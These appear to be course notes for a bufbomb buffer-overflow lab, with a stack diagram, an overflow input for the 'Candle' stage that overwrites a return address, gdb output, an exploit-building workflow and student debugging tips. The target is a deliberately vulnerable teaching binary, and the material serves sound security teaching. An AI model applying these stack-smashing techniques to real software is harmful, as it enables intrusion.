Launch calls test test calls getbuf getbuf calls Gets Let ebpL = address held in ebp while executing launch ebpT = address held in ebp while executing test ebpB = address held in ebp while executing getbuf ebpG = address held in ebp while executing Gets The the stack looks like this, when Gets is executing: ABSOLUTE RELATIVE ADDRESS ADDRESS CONTENTS ---------- --------- -------------------- 0xbfffbb5C ebpT+0x04 (return address in launch) 0xbfffbb58 ebpT (old ebp) = ebpL 0xbfffbb54 ebpT-0x04 localT0 = 0xdeadbeef 0xbfffbb50 ebpT-0x08 localT1 = ? 0xbfffbb4C ebpT-0x0C localT2 = ? 0xbfffbb48 ebpT-0x10 localT3 = ? 0xbfffbb44 ebpT-0x14 localT4 = ? 0xbfffbb40 ebpT-0x18 localT5 = 3 0xbfffbb3C ebpB+0x04 (return address in test) 0xbfffbb38 ebpB (old ebp) = ebpT 0xbfffbb34 ebpB-0x04 localB0 = ? 0xbfffbb30 ebpB-0x08 localB1 = ? 0xbfffbb2C ebpB-0x0C localB2 = ? <---- this is the address sent to Gets 0xbfffbb28 ebpB-0x10 localB3 = ? 0xbfffbb24 ebpB-0x14 localB4 = ? 0xbfffbb20 ebpB-0x18 localB5 = address of localB2 = 0xbfffbb2C 0xbfffbb1C ebpG+0x04 (return address in getbuf) 0xbfffbb18 ebpG (old ebp) = ebpB ----------------------------------------------------------------------------- Candle/Smoke: student@bomb:~/buflab$ cat candle.txt 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 8e 04 08 student@bomb:~/buflab$ ./sendstring < candle.txt > candle.exploit student@bomb:~/buflab$ gdb ./bufbomb (gdb) b Gets (gdb) b *0x8048f1d (gdb) r -t student < candle.exploit Starting program: /home/jriely/student/buflab/bufbomb -t student < candle.exploit Team: student | (gdb) c Cookie: 0x308d066e | Continuing. | Breakpoint 1, 0x08048e66 in Gets () | Breakpoint 4, 0x08048f1e in Gets () (gdb) p/x $ebp | $1 = (void *) 0xbfffbb18 | (gdb) x/18a 0xbfffbb18 (REVERSED) | (gdb) x/18a 0xbfffbb18 (REVERSED) | 0x80490e6 | 0x80490e6 0xbfffbb58: 0xbffff7e8 | 0xbfffbb58: 0xbffff7e8 0xdeadbeef | 0xdeadbeef ? | ? ? | ? 0xbfffbb48: ? | 0xbfffbb48: ? ? | ? 0x3 | 0x0 0x804900e | 0x8048e20 0xbfffbb38: 0xbfffbb58 | 0xbfffbb38: 0x1f1e1d1c ? | 0x1b1a1918 ? | 0x17161514 ? | 0x13121110 0xbfffbb28: ? | 0xbfffbb28: ? ? | ? 0xbfffbb2c | 0xbfffbb2c 0x8048fe1 | 0x8048fe1 0xbfffbb18: 0xbfffbb38 | 0xbfffbb18: 0xbfffbb38 ------------------------------------------------------------------------------ Here is a workflow: cd buflab nano myexploit.s gcc -c myexploit.s objdump -d myexploit.o > myexploit.d nano myexploit.d // open another session - transfer byte code into myexploit.txt nano myexploit.txt ./sendstring < myexploit.txt > myexploit.exploit gdb bufbomb //set a breakpoint, if needed r -t teamname < myexploit.exploit ------------------------------------------------------------------------------ Some people have found this tutorial helpful. Although it is for windows, the ideas are the same. http://www.corelan.be:8800/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/ ------------------------------------------------------------------------------ Some notes from a student: As I've been reading the "Help me!" posts, I've noticed a lot of people are hung up on trying to get their code down to a specific number of bytes. My advice to you is not to think about how long your code is going to be, or is supposed to be in total. On Firecracker it says the exploit code is 16 bytes long and I wasted SO MUCH time trying to brainstorm way to get my code to fit, I lost focus on the task at hand. For the bufbombs, just try to break everything down into smaller tasks. Typically, my work method was generally as follows: 1) Has the right address been called? 2) Where is address of value X? 3) How do I change this value? Oh no! I have an error/segfault! Using the Step method: 1) Did I send my new exploit file to sendstring? (yes I had many "why won't this work?" moments, ruined lots of exploit code, and wasted plenty of time because I was, in fact calling an old .exploit file) 2) Did I stupidly type something wrong? a. In gdb? r -t yae < firecracker.txt (WRONG!) r -t yae < firecracker.exploit (RIGHT!) b. In my exploit code (one mistyped address can ruin everything) (one byte off can ruin everything) 3) What address is the error occuring at? Is this before/after/during my exploit code? Naturally, this can be modified per problem, but you get the idea. As a lot of people have pointed out "x/#i address" is your friend. Also I found "i r" to be extremely helpful as well. This command (sans the quotes), will share the contents of all registers at your breakpoint.